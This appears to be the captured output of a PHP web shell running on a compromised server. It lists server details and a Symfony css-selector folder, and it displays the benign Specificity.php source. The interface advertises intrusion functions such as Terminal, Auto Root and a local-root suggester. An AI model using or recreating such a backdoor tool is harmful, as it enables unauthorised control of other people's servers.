Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.140.242.43
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp /
vendor /
symfony /
css-selector /
Node /
Delete
Unzip
Name
Size
Permission
Date
Action
AbstractNode.php
943
B
-rw-r--r--
2018-11-11 09:00
AttributeNode.php
2.11
KB
-rw-r--r--
2018-11-11 09:00
ClassNode.php
1.3
KB
-rw-r--r--
2018-11-11 09:00
CombinedSelectorNode.php
1.65
KB
-rw-r--r--
2018-11-11 09:00
ElementNode.php
1.54
KB
-rw-r--r--
2018-11-11 09:00
FunctionNode.php
1.9
KB
-rw-r--r--
2018-11-11 09:00
HashNode.php
1.29
KB
-rw-r--r--
2018-11-11 09:00
NegationNode.php
1.45
KB
-rw-r--r--
2018-11-11 09:00
NodeInterface.php
715
B
-rw-r--r--
2018-11-11 09:00
PseudoNode.php
1.36
KB
-rw-r--r--
2018-11-11 09:00
SelectorNode.php
1.45
KB
-rw-r--r--
2018-11-11 09:00
Specificity.php
1.76
KB
-rw-r--r--
2018-11-11 09:00
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Node; /** * Represents a node specificity. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @see http://www.w3.org/TR/selectors/#specificity * * @author Jean-François Simon <jeanfrancois.simon@sensiolabs.com> * * @internal */ class Specificity { const A_FACTOR = 100; const B_FACTOR = 10; const C_FACTOR = 1; private $a; private $b; private $c; public function __construct(int $a, int $b, int $c) { $this->a = $a; $this->b = $b; $this->c = $c; } public function plus(self $specificity): self { return new self($this->a + $specificity->a, $this->b + $specificity->b, $this->c + $specificity->c); } public function getValue(): int { return $this->a * self::A_FACTOR + $this->b * self::B_FACTOR + $this->c * self::C_FACTOR; } /** * Returns -1 if the object specificity is lower than the argument, * 0 if they are equal, and 1 if the argument is lower. * * @return int */ public function compareTo(self $specificity) { if ($this->a !== $specificity->a) { return $this->a > $specificity->a ? 1 : -1; } if ($this->b !== $specificity->b) { return $this->b > $specificity->b ? 1 : -1; } if ($this->c !== $specificity->c) { return $this->c > $specificity->c ? 1 : -1; } return 0; } }